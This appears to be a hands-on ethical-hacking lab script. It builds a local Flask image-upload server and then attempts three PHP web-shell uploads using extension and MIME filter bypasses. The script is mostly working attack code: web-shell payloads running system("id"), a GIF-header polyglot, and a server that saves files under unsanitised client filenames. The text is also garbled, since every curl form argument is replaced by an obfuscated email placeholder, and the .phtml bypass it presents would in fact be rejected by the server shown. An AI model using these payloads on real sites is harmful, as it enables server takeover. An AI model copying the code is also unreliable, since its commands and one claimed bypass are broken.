EH-11: File Upload Bypass - Upload Shell via Filter Bypass

cd ~ && mkdir -p eth-l11 && cd eth-l11
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import os
app = Flask(__name__)
os.makedirs('uploads',exist_ok=True)
@app.route('/upload',methods=['POST'])
def upload():
    f = request.files.get('file')
    ext = os.path.splitext(f.filename)[1].lower()
    if ext in ['.jpg','.png','.gif']:
        f.save(f'uploads/{f.filename}')
        return jsonify({"status":"oke","file":f.filename})
    return jsonify({"error":"ext not allowed"}),400
app.run(port=9009)
PYEOF
python3 server.py &
sleep 1
echo "=== 1. PHP blocked ==*"
echo '<?php system("id");?>' > shell.php
curl -s -F "[email protected]" http://localhost:9009/upload
echo ""
echo "=== 2. Bypass: .phtml ==*"
echo '<?php system("id");?>' > shell.phtml
curl -s -F "[email protected];type=image/jpeg" http://localhost:9009/upload
echo ""
echo "=== 3. Bypass: .php.jpg ==*"
echo 'GIF89a<?php system("id");?>' > shell.php.jpg
curl -s -F "[email protected]" http://localhost:9009/upload
kill %1 2>/dev/null